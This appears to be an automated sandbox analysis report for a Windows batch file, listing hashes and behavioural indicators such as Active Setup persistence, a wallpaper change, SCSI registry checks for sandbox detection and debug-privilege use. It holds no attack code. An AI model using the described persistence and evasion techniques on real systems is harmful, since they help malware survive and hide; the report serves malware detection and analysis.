Analysis
- max time kernel
899s - max time network
553s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
24/09/2026, 04:38
Static task
static1
Behavioral task
behavioral1
Sample
tyviurs.bat
Resource
win11ltsc2024-20260911-en
18 signatures
900 seconds
General
- Target tyviurs.bat
- Size 6KB
- Sample260924-e9m3mseb33
- SHA256 437fb43b4480f77ce5929707ada447b2961ecf2135d96d20c52a5c6283ffd632
- MD5 ab66b1fd13921f585c4e793c0769e667
- SHA1 b1d917c7537e9d19fbb0b79a0c750d189f261489
- SHA512 a9dac1f1e804b84fe25cfad135909ca883da2a37efa74362eb0e674a92fb787d9b3fbc1ad7f762d0d10b874d274a885e62e4043b8f0b972b85021ba9224fface
- SSDEEP 96:psSV3q4QIV6adW4QIVeCTUIpEkapH5c3QrQIV6TUdREBEZmE5tht1hC4z/vMth8q:FqLadPUdNpxIU4KZ9LzKh8DlGuP9kv
- TLSH T155E1C7658325E61D856380178C9772DBFD1526316148BC0936BECA02FD4779BC3B6399
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Software\Microsoft\Active Setup\Installed Components explorer.exe -
pid Process 968 powershell.exe 4692 powershell.exe 4796 powershell.exe 900 powershell.exe 5612 powershell.exe 6064 powershell.exe - Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\E: explorer.exe File opened (read-only) \??\F: explorer.exe - Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\taylor.jpg" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\taylor.jpg" reg.exe - Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4384 cmd.exe - Checks SCSI registry key(s) 3 TTPs 62 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\UpperFilters explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\UpperFilters explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags explorer.exe - Delays execution with timeout.exe 1 IoCs
pid Process 3132 timeout.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Software\Microsoft\Internet Explorer\Main explorer.exe - Modifies registry class 38 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1262770251-41185387-1005173349-1000\{5CAEB166-7F89-4047-B54C-4AD9EF8E5EF1} explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\Local Settings\MuiCache SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\client.cbs SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs\Total = "23" SearchHost.exe Set value (data) \REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02 explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\ explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix SearchHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs\ = "23" SearchHost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\Total SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs\ = "56" SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "23" SearchHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix StartMenuExperienceHost.exe Key created \REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\Local Settings explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\Local Settings\MuiCache StartMenuExperienceHost.exe Key created \REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify explorer.exe Key created \REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage SearchHost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:" SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DomStorageState SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "56" SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs\Total = "56" SearchHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:" StartMenuExperienceHost.exe Key created \REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell explorer.exe Key created \REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" StartMenuExperienceHost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\microsoftwindows.client.cbs SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total SearchHost.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1262770251-41185387-1005173349-1000\{1CC09923-008F-4BCD-A41B-D4217AC40CA5} explorer.exe - Suspicious behavior: EnumeratesProcesses 18 IoCs
pid Process 968 powershell.exe 968 powershell.exe 900 powershell.exe 900 powershell.exe 6064 powershell.exe 6064 powershell.exe 4796 powershell.exe 4796 powershell.exe 5612 powershell.exe 5612 powershell.exe 4692 powershell.exe 4692 powershell.exe 6064 powershell.exe 4796 powershell.exe 5612 powershell.exe 4692 powershell.exe 5620 explorer.exe 5620 explorer.exe - Suspicious use of AdjustPrivilegeToken 50 IoCs
description pid Process Token: SeDebugPrivilege 968 powershell.exe Token: SeDebugPrivilege 900 powershell.exe Token: SeDebugPrivilege 6064 powershell.exe Token: SeDebugPrivilege 4796 powershell.exe Token: SeDebugPrivilege 5612 powershell.exe Token: SeDebugPrivilege 4692 powershell.exe Token: SeShutdownPrivilege 5620 explorer.exe Token: SeCreatePagefilePrivilege 5620 explorer.exe Token: SeShutdownPrivilege 5620 explorer.exe Token: SeCreatePagefilePrivilege 5620 explorer.exe Token: SeShutdownPrivilege 5620 explorer.exe Token: SeCreatePagefilePrivilege 5620 explorer.exe Token: SeShutdownPrivilege 5620 explorer.exe Token: SeCreatePagefilePrivilege 5620 explorer.exe Token: SeShutdownPrivilege 5620 explorer.exe Token: SeCreatePagefilePrivilege 5620 explorer.exe Token: SeShutdownPrivilege 5620 explorer.exe Token: SeCreatePagefilePrivilege 5620 explorer.exe Token: SeShutdownPrivilege 5620 explorer.exe Token: SeCreatePagefilePrivilege 5620 explorer.exe Token: SeShutdownPrivilege 5620 explorer.exe Token: SeCreatePagefilePrivilege 5620 explorer.exe Token: SeShutdownPrivilege 5620 explorer.exe Token: SeCreatePagefilePrivilege 5620 explorer.exe Token: SeShutdownPrivilege 5620 explorer.exe Token: SeCreatePagefilePrivilege 5620 explorer.exe Token: SeShutdownPrivilege 5620 explorer.exe Token: SeCreatePagefilePrivilege 5620 explorer.exe Token: SeShutdownPrivilege 5620 explorer.exe Token: SeCreatePagefilePrivilege 5620 explorer.exe Token: SeShutdownPrivilege 5620 explorer.exe Token: SeCreatePagefilePrivilege 5620 explorer.exe Token: SeShutdownPrivilege 5620 explorer.exe Token: SeCreatePagefilePrivilege 5620 explorer.exe Token: SeShutdownPrivilege 5620 explorer.exe Token: SeCreatePagefilePrivilege 5620 explorer.exe Token: SeShutdownPrivilege 5620 explorer.exe Token: SeCreatePagefilePrivilege 5620 explorer.exe Token: SeShutdownPrivilege 5620 explorer.exe Token: SeCreatePagefilePrivilege 5620 explorer.exe Token: SeShutdownPrivilege 5620 explorer.exe Token: SeCreatePagefilePrivilege 5620 explorer.exe Token: SeShutdownPrivilege 5620 explorer.exe Token: SeCreatePagefilePrivilege 5620 explorer.exe Token: SeShutdownPrivilege 5620 explorer.exe Token: SeCreatePagefilePrivilege 5620 explorer.exe Token: SeShutdownPrivilege 5620 explorer.exe Token: SeCreatePagefilePrivilege 5620 explorer.exe Token: SeShutdownPrivilege 5620 explorer.exe Token: SeCreatePagefilePrivilege 5620 explorer.exe - Suspicious use of FindShellTrayWindow 54 IoCs
pid Process 6036 sihost.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe 5620 explorer.exe - Suspicious use of SendNotifyMessage 39 IoCs
